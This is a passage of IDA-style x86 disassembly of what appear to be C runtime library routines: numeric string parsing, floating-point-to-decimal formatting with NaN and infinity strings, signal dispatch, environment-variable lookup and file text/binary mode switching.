loc_4253C6:				; CODE XREF: sub_4250CD+339j
		cmp	dword_43A88C, 1
		jle	short loc_4253DE
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_4253ED
; ---------------------------------------------------------------------------


loc_4253DE:				; CODE XREF: sub_4250CD+300j
		mov	ecx, off_43A680
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4253ED:				; CODE XREF: sub_4250CD+30Fj
		test	eax, eax
		jz	short loc_42540D
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_425408
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------


loc_425408:				; CODE XREF: sub_4250CD+334j
		mov	esi, 1451h


loc_42540D:				; CODE XREF: sub_4250CD+322j
		mov	[ebp+var_1C], esi


loc_425410:				; CODE XREF: sub_4250CD+371j
		cmp	dword_43A88C, 1
		jle	short loc_425428
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_425437
; ---------------------------------------------------------------------------


loc_425428:				; CODE XREF: sub_4250CD+34Aj
		mov	ecx, off_43A680
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425437:				; CODE XREF: sub_4250CD+359j
		test	eax, eax
		jz	short loc_425440
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425410
; ---------------------------------------------------------------------------


loc_425440:				; CODE XREF: sub_4250CD+99j
					; sub_4250CD+E4j ...
		dec	edi
		jmp	short loc_425445
; ---------------------------------------------------------------------------


loc_425443:				; CODE XREF: sub_4250CD+261j
					; sub_4250CD+2BCj
		mov	edi, ecx


loc_425445:				; CODE XREF: sub_4250CD+2DDj
					; sub_4250CD+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_42552D
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425471
		cmp	[ebp+var_45], 5
		jl	short loc_425465
		inc	[ebp+var_45]


loc_425465:				; CODE XREF: sub_4250CD+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425474
; ---------------------------------------------------------------------------


loc_425471:				; CODE XREF: sub_4250CD+38Dj
		mov	eax, [ebp+var_C]


loc_425474:				; CODE XREF: sub_4250CD+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425523


loc_42547E:				; CODE XREF: sub_4250CD+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_42548C
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_42547E
; ---------------------------------------------------------------------------


loc_42548C:				; CODE XREF: sub_4250CD+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_425006
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4254AB
		neg	eax


loc_4254AB:				; CODE XREF: sub_4250CD+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4254B6
		add	eax, [ebp+arg_10]


loc_4254B6:				; CODE XREF: sub_4250CD+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4254BE
		sub	eax, [ebp+arg_14]


loc_4254BE:				; CODE XREF: sub_4250CD+3ECj
		cmp	eax, 1450h
		jle	short loc_4254F5
		mov	[ebp+var_2C], 1


loc_4254CC:				; CODE XREF: sub_4250CD+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4254D8:				; CODE XREF: sub_4250CD+454j
					; sub_4250CD+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_42553E
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425553
; ---------------------------------------------------------------------------


loc_4254F5:				; CODE XREF: sub_4250CD+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425505
		mov	[ebp+var_30], 1
		jmp	short loc_4254CC
; ---------------------------------------------------------------------------


loc_425505:				; CODE XREF: sub_4250CD+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425CB6
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4254D8
; ---------------------------------------------------------------------------


loc_425523:				; CODE XREF: sub_4250CD+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4254D8
; ---------------------------------------------------------------------------


loc_42552D:				; CODE XREF: sub_4250CD+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425553
; ---------------------------------------------------------------------------


loc_42553E:				; CODE XREF: sub_4250CD+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425553
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425553:				; CODE XREF: sub_4250CD+426j
					; sub_4250CD+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4250CD	endp

; ---------------------------------------------------------------------------
off_42556E	dd offset loc_425137	; DATA XREF: sub_4250CD+63r
		dd offset loc_425186	; jump table for switch	statement
		dd offset loc_4251DD
		dd offset loc_425207
		dd offset loc_425262
		dd offset loc_4252D9
		dd offset loc_42530F
		dd offset loc_425359
		dd offset loc_425338
		dd offset loc_4253BD
		dd offset loc_4253A7
		dd offset loc_425373

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42559E	proc near		; CODE XREF: sub_4244F9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425600
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425604
; ---------------------------------------------------------------------------


loc_425600:				; CODE XREF: sub_42559E+5Aj
		mov	byte ptr [ebx+2], 20h


loc_425604:				; CODE XREF: sub_42559E+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42562A
		test	edi, edi
		jnz	short loc_42562A
		cmp	[ebp+arg_0], edi
		jnz	short loc_42562A


loc_425615:				; CODE XREF: sub_42559E+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425828
; ---------------------------------------------------------------------------


loc_42562A:				; CODE XREF: sub_42559E+6Cj
					; sub_42559E+70j ...
		cmp	dx, si
		jnz	short loc_4256A9
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425643
		cmp	[ebp+arg_0], 0
		jz	short loc_425652


loc_425643:				; CODE XREF: sub_42559E+9Dj
		test	edi, 40000000h
		jnz	short loc_425652
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425698
; ---------------------------------------------------------------------------


loc_425652:				; CODE XREF: sub_42559E+A3j
					; sub_42559E+ABj
		test	cx, cx
		jz	short loc_42566C
		cmp	edi, 0C0000000h
		jnz	short loc_42566C
		cmp	[ebp+arg_0], 0
		jnz	short loc_425693
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42567B
; ---------------------------------------------------------------------------


loc_42566C:				; CODE XREF: sub_42559E+B7j
					; sub_42559E+BFj
		cmp	edi, eax
		jnz	short loc_425693
		cmp	[ebp+arg_0], 0
		jnz	short loc_425693
		push	offset a1Inf	; "1#INF"


loc_42567B:				; CODE XREF: sub_42559E+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C620
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_42568A:				; CODE XREF: sub_42559E+109j
		and	[ebp+var_4], 0
		jmp	loc_425801
; ---------------------------------------------------------------------------


loc_425693:				; CODE XREF: sub_42559E+C5j
					; sub_42559E+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425698:				; CODE XREF: sub_42559E+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C620
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_42568A
; ---------------------------------------------------------------------------


loc_4256A9:				; CODE XREF: sub_42559E+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425CB6
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42570A
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425A96
		pop	ecx
		pop	ecx


loc_42570A:				; CODE XREF: sub_42559E+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425724
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425727
		jmp	loc_425615
; ---------------------------------------------------------------------------


loc_425724:				; CODE XREF: sub_42559E+173j
		mov	edi, [ebp+arg_C]


loc_425727:				; CODE XREF: sub_42559E+17Fj
		cmp	edi, 15h
		jle	short loc_42572F
		push	15h
		pop	edi


loc_42572F:				; CODE XREF: sub_42559E+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425745:				; CODE XREF: sub_42559E+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424FAB
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425745
		test	esi, esi
		jge	short loc_42576F
		neg	esi
		and	esi, 0FFh
		jle	short loc_42576F


loc_425762:				; CODE XREF: sub_42559E+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424FD9
		dec	esi
		pop	ecx
		jnz	short loc_425762


loc_42576F:				; CODE XREF: sub_42559E+1B8j
					; sub_42559E+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4257CC
		mov	[ebp+arg_C], ecx


loc_42577F:				; CODE XREF: sub_42559E+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_424FAB
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424FAB
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424F4D
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_424FAB
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_42577F
		mov	eax, [ebp+arg_14]


loc_4257CC:				; CODE XREF: sub_42559E+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425809


loc_4257D9:				; CODE XREF: sub_42559E+248j
		cmp	eax, ecx
		jb	short loc_4257EC
		cmp	byte ptr [eax],	39h
		jnz	short loc_4257E8
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4257D9
; ---------------------------------------------------------------------------


loc_4257E8:				; CODE XREF: sub_42559E+242j
		cmp	eax, ecx
		jnb	short loc_4257F0


loc_4257EC:				; CODE XREF: sub_42559E+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_4257F0:				; CODE XREF: sub_42559E+24Cj
		inc	byte ptr [eax]


loc_4257F2:				; CODE XREF: sub_42559E+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425801:				; CODE XREF: sub_42559E+F0j
		mov	eax, [ebp+var_4]


loc_425804:				; CODE XREF: sub_42559E+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425809:				; CODE XREF: sub_42559E+239j
					; sub_42559E+275j
		cmp	eax, ecx
		jb	short loc_425819
		cmp	byte ptr [eax],	30h
		jnz	short loc_425815
		dec	eax
		jmp	short loc_425809
; ---------------------------------------------------------------------------


loc_425815:				; CODE XREF: sub_42559E+272j
		cmp	eax, ecx
		jnb	short loc_4257F2


loc_425819:				; CODE XREF: sub_42559E+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425828:				; CODE XREF: sub_42559E+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425804
sub_42559E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425831	proc near		; CODE XREF: sub_42249C+223Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425898
		dec	eax
		dec	eax
		jz	short loc_425889
		sub	eax, 4
		jz	short loc_425889
		sub	eax, 3
		jz	short loc_425889
		sub	eax, 4
		jz	short loc_42587C
		sub	eax, 6
		jz	short loc_42586F
		dec	eax
		jz	short loc_425862
		or	eax, 0FFFFFFFFh
		jmp	loc_42595A
; ---------------------------------------------------------------------------


loc_425862:				; CODE XREF: sub_425831+27j
		mov	esi, dword_4D9A14
		mov	eax, offset dword_4D9A14
		jmp	short loc_4258A3
; ---------------------------------------------------------------------------


loc_42586F:				; CODE XREF: sub_425831+24j
		mov	esi, dword_4D9A10
		mov	eax, offset dword_4D9A10
		jmp	short loc_4258A3
; ---------------------------------------------------------------------------


loc_42587C:				; CODE XREF: sub_425831+1Fj
		mov	esi, dword_4D9A18
		mov	eax, offset dword_4D9A18
		jmp	short loc_4258A3
; ---------------------------------------------------------------------------


loc_425889:				; CODE XREF: sub_425831+10j
					; sub_425831+15j ...
		push	edi
		call	sub_42595E
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4258A3
; ---------------------------------------------------------------------------


loc_425898:				; CODE XREF: sub_425831+Cj
		mov	esi, dword_4D9A0C
		mov	eax, offset dword_4D9A0C


loc_4258A3:				; CODE XREF: sub_425831+3Cj
					; sub_425831+49j ...
		cmp	esi, 1
		jnz	short loc_4258AF
		xor	eax, eax
		jmp	loc_42595A
; ---------------------------------------------------------------------------


loc_4258AF:				; CODE XREF: sub_425831+75j
		test	esi, esi
		jnz	short loc_4258BA
		push	3
		call	sub_41BF42


loc_4258BA:				; CODE XREF: sub_425831+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4258CC
		cmp	edi, 0Bh
		jz	short loc_4258CC
		cmp	edi, 4
		jnz	short loc_4258F2


loc_4258CC:				; CODE XREF: sub_425831+8Fj
					; sub_425831+94j
		mov	ebx, dword_4D97EC
		and	dword_4D97EC, 0
		cmp	edi, ecx
		jnz	short loc_425921
		mov	edx, dword_43ACDC
		mov	dword_43ACDC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_4258F5
; ---------------------------------------------------------------------------


loc_4258F2:				; CODE XREF: sub_425831+99j
		mov	ebx, [ebp+arg_0]


loc_4258F5:				; CODE XREF: sub_425831+BFj
		cmp	edi, ecx
		jnz	short loc_425921
		mov	eax, dword_43ACD0
		mov	ecx, dword_43ACD4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425928
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43AC60h[edx*4]


loc_425916:				; CODE XREF: sub_425831+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425916
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_425921:				; CODE XREF: sub_425831+AAj
					; sub_425831+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425936


loc_425928:				; CODE XREF: sub_425831+D7j
					; sub_425831+EEj
		push	dword_43ACDC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425944
; ---------------------------------------------------------------------------


loc_425936:				; CODE XREF: sub_425831+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425944
		cmp	edi, 4
		jnz	short loc_425957


loc_425944:				; CODE XREF: sub_425831+103j
					; sub_425831+10Cj
		cmp	edi, 8
		mov	dword_4D97EC, ebx
		jnz	short loc_425957
		mov	eax, [ebp+arg_0]
		mov	dword_43ACDC, eax


loc_425957:				; CODE XREF: sub_425831+111j
					; sub_425831+11Cj
		xor	eax, eax
		pop	ebx


loc_42595A:				; CODE XREF: sub_425831+2Cj
					; sub_425831+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425831	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42595E	proc near		; CODE XREF: sub_425831+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43ACD8
		cmp	dword_43AC5C, edx
		push	esi
		mov	eax, offset dword_43AC58
		jz	short loc_42598C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43AC58h[esi*4]


loc_425980:				; CODE XREF: sub_42595E+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_42598C
		cmp	[eax+4], edx
		jnz	short loc_425980


loc_42598C:				; CODE XREF: sub_42595E+16j
					; sub_42595E+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43AC58h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_4259A0
		cmp	[eax+4], edx
		jz	short locret_4259A2


loc_4259A0:				; CODE XREF: sub_42595E+3Bj
		xor	eax, eax

locret_4259A2:				; CODE XREF: sub_42595E+40j
		retn
sub_42595E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4259A3	proc near		; CODE XREF: sub_4246FC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DADA8, 0
		push	ebx
		push	esi
		mov	esi, dword_4D973C
		push	edi
		jz	short loc_425A1A
		test	esi, esi
		jnz	short loc_4259D4
		cmp	dword_4D9744, esi
		jz	short loc_425A1A
		call	sub_425D71
		test	eax, eax
		jnz	short loc_425A1A
		mov	esi, dword_4D973C
		test	esi, esi
		jz	short loc_425A1A


loc_4259D4:				; CODE XREF: sub_4259A3+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425A1A
		push	ebx
		call	sub_41B960
		pop	ecx
		mov	edi, eax


loc_4259E5:				; CODE XREF: sub_4259A3+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425A1A
		push	eax
		call	sub_41B960
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425A0D
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425A0D
		push	edi
		push	ebx
		push	eax
		call	sub_425D32
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425A12


loc_425A0D:				; CODE XREF: sub_4259A3+51j
					; sub_4259A3+59j
		add	esi, 4
		jmp	short loc_4259E5
; ---------------------------------------------------------------------------


loc_425A12:				; CODE XREF: sub_4259A3+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425A1C
; ---------------------------------------------------------------------------


loc_425A1A:				; CODE XREF: sub_4259A3+10j
					; sub_4259A3+1Cj ...
		xor	eax, eax


loc_425A1C:				; CODE XREF: sub_4259A3+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4259A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_425A20	proc near		; CODE XREF: sub_424DE6+8Bp
					; sub_424DE6+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DAB60
		jnb	short loc_425A87
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DAA60[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425A87
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425A60
		and	cl, 7Fh
		jmp	short loc_425A6D
; ---------------------------------------------------------------------------


loc_425A60:				; CODE XREF: sub_425A20+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425A7B
		or	cl, 80h


loc_425A6D:				; CODE XREF: sub_425A20+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425A7B:				; CODE XREF: sub_425A20+48j
		mov	dword_4D9714, 16h
		jmp	short loc_425A91
; ---------------------------------------------------------------------------


loc_425A87:				; CODE XREF: sub_425A20+Bj
					; sub_425A20+27j
		mov	dword_4D9714, 9


loc_425A91:				; CODE XREF: sub_425A20+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425A96	proc near		; CODE XREF: sub_42559E+165p
					; sub_425CB6+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425C96
		cmp	cx, 7FFFh
		jnb	loc_425C96
		cmp	dx, 0BFFDh
		ja	loc_425C96
		cmp	dx, 3FBFh
		ja	short loc_425AFF
		xor	eax, eax
		jmp	short loc_425B39
; ---------------------------------------------------------------------------


loc_425AFF:				; CODE XREF: sub_425A96+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425B21
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425B21
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425B23
		cmp	[esi], eax
		jnz	short loc_425B23
		jmp	loc_425C90
; ---------------------------------------------------------------------------


loc_425B21:				; CODE XREF: sub_425A96+71j
					; sub_425A96+79j
		xor	eax, eax


loc_425B23:				; CODE XREF: sub_425A96+80j
					; sub_425A96+84j
		cmp	cx, ax
		jnz	short loc_425B46
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425B46
		cmp	[ebx+4], eax
		jnz	short loc_425B46
		cmp	[ebx], eax
		jnz	short loc_425B46


loc_425B39:				; CODE XREF: sub_425A96+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425CB1
; ---------------------------------------------------------------------------


loc_425B46:				; CODE XREF: sub_425A96+90j
					; sub_425A96+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425B56:				; CODE XREF: sub_425A96+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425BAA
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425B72:				; CODE XREF: sub_425A96+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_424F2C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B9D
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425B9D:				; CODE XREF: sub_425A96+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425B72


loc_425BAA:				; CODE XREF: sub_425A96+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425B56
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425BED


loc_425BC8:				; CODE XREF: sub_425A96+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425BE6
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424FAB
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425BC8


loc_425BE6:				; CODE XREF: sub_425A96+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425C26


loc_425BED:				; CODE XREF: sub_425A96+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425C26
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425C06:				; CODE XREF: sub_425A96+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425C0F
		inc	[ebp+var_14]


loc_425C0F:				; CODE XREF: sub_425A96+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424FD9
		dec	ebx
		pop	ecx
		jnz	short loc_425C06
		cmp	[ebp+var_14], 0
		jz	short loc_425C26
		or	byte ptr [ebp+var_24], 1


loc_425C26:				; CODE XREF: sub_425A96+155j
					; sub_425A96+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425C3D
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425C72


loc_425C3D:				; CODE XREF: sub_425A96+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425C6F
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425C6A
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425C64
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425C72
; ---------------------------------------------------------------------------


loc_425C64:				; CODE XREF: sub_425A96+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425C72
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425A96+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425C72
; ---------------------------------------------------------------------------


loc_425C6F:				; CODE XREF: sub_425A96+1ABj
		inc	[ebp+var_24+2]


loc_425C72:				; CODE XREF: sub_425A96+1A5j
					; sub_425A96+1CCj ...
